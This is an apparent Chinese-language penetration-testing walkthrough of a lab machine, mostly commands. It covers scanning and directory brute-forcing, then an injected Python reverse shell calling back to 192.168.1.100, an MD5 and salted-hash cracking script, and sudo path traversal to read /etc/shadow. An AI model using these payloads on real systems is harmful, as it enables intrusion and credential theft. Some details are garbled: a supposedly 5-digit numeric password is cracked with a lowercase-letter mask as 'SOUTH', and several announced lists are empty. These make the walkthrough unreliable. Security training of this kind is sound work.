在网络安全领域,渗透测试是评估系统安全性的重要手段。本文将详细拆解一个完整的渗透测试过程,从信息收集到权限提升,分享我在实际测试中的思路和技巧。
渗透测试的核心在于模拟真实攻击者的行为,发现系统中存在的漏洞和安全隐患。与CTF比赛不同,真实环境中的渗透测试更注重系统性思维和实战技巧的结合。下面我将通过一个典型案例,展示如何从零开始完成一次完整的渗透测试。
信息收集是渗透测试的第一步,也是决定后续测试方向的关键环节。在这个案例中,我们首先需要确定目标系统的IP地址和开放服务。
使用nmap进行C段扫描是常见的方法:
bash复制nmap -sn 192.168.1.0/24
通过扫描发现目标IP为192.168.1.159。接下来进行更详细的端口和服务扫描:
bash复制nmap -O -v -sV -sC 192.168.1.159
参数说明:
-O:操作系统识别-v:详细输出-sV:服务版本探测-sC:运行默认脚本扫描结果显示目标运行Apache 2.4.62和PHP 7.4.33,开放了80端口。这些信息为我们后续的测试提供了方向。
提示:在实际测试中,建议使用
-T4参数加快扫描速度,但要注意可能触发目标系统的防护机制。
使用whatweb工具进一步识别Web应用信息:
bash复制whatweb http://192.168.1.159
输出显示服务器运行Apache 2.4.62和PHP 7.4.33。PHP 7.4.33存在多个已知漏洞,如:
虽然这些漏洞可能成为突破口,但在本例中,我们发现系统已经打了补丁,因此需要寻找其他攻击面。
使用gobuster进行目录爆破:
bash复制gobuster dir -u http://192.168.1.159 -w /usr/share/wordlists/dirb/common.txt
发现以下关键目录:
进一步使用dirsearch扫描:
bash复制dirsearch -u http://192.168.1.159 -x 404,400
发现/api目录下存在多个子目录,其中/mgmt_page引起了我们的注意,因为它可能包含管理功能。
在测试过程中,我们发现一个维护页面需要5位数字密码。尝试使用Burp Suite爆破无果后,注意到页面源代码中有一段PHP代码:
php复制$correct_password_hash = '96e44fa82e5a5263fb92337be422d3eb';
这是一个MD5哈希值,我们使用hashcat进行破解:
bash复制hashcat -m 0 -a 3 96e44fa82e5a5263fb92337be422d3eb ?l?l?l?l?l
成功破解出密码为"SOUTH"。这个案例展示了开发者将测试功能遗留到生产环境的危险性。
通过密码认证后,我们发现系统存在命令注入漏洞。尝试反弹Shell:
bash复制nc -lvnp 4321
然后在目标系统执行:
bash复制/api/include.php?file=mgmt_page&password=SOUTH&cmd=python3%20-c%20'import%20socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
成功获取Shell后,我们开始探索系统内部。
在系统中发现db.sql文件,包含数据库凭据:
sql复制CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'Ch1sPa_2023';
GRANT ALL PRIVILEGES ON webapp_db.* TO 'webapp'@'localhost';
登录MySQL后发现用户表存储了密码哈希和时间戳。通过分析注册逻辑,发现密码哈希是密码与时间戳拼接后的MD5值。我们编写Python脚本进行破解:
python复制import hashlib
target_hash = "9eaf9317aac50c955575334a93d0b09c"
salt = b"1753128055"
with open("/usr/share/wordlists/rockyou.txt", "rb") as f:
for line in f:
password = line.strip()
try_hash = hashlib.md5(password + salt).hexdigest()
if try_hash == target_hash:
print(f"Found password: {password.decode()}")
break
成功破解出密码"chispa"。
使用获取的密码尝试切换用户:
bash复制su benjamin
输入密码"chispa"后成功切换到benjamin用户,发现flag2.txt。
检查sudo权限:
bash复制sudo -l
发现可以无密码执行:
bash复制/bin/cat /root/notes/*
利用路径穿越读取敏感文件:
bash复制sudo /bin/cat /root/notes/../../etc/shadow
如果sudo提权不可行,还可以尝试以下方法:
bash复制find / -perm -4000 -user root 2>/dev/null
bash复制uname -a
搜索对应内核版本的漏洞利用代码。
bash复制crontab -l
ls -la /etc/cron*
基于本次渗透测试的经验,我总结出以下安全建议:
在实际渗透测试中,每个系统都有其独特性,需要测试人员具备灵活的思维和扎实的技术功底。通过系统性的信息收集、漏洞分析和权限提升,我们可以全面评估系统的安全性,帮助客户发现和修复潜在的安全风险。